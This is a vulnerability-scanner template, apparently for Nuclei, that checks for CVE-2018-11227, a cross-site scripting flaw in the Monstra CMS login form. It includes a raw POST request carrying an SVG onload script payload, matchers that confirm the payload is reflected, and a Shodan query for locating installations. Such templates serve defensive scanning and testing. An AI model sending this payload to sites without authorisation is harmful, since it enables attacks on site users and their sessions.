id: CVE-2018-11227

info:
  name: Monstra CMS <=3.0.4 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Monstra CMS 3.0.4 and earlier contains a cross-site scripting vulnerability via index.php.  An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://github.com/monstra-cms/monstra/issues/438
    - https://www.exploit-db.com/exploits/44646
    - https://nvd.nist.gov/vuln/detail/CVE-2018-11227
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-11227
    cwe-id: CWE-79
  metadata:
    shodan-query: http.favicon.hash:419828698
    verified: "true"
  tags: cve,cve2018,xss,mostra,mostracms,cms,edb

requests:
  - raw:
      - |
        POST /admin/index.php?id=pages HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        login="><svg/onload=alert(document.domain)>&password=xxxxxx&login_submit=Log+In

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "><svg/onload=alert(document.domain)>"
          - "Monstra"
        condition: and
        case-insensitive: true

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

# Enhanced by md on 2023/01/30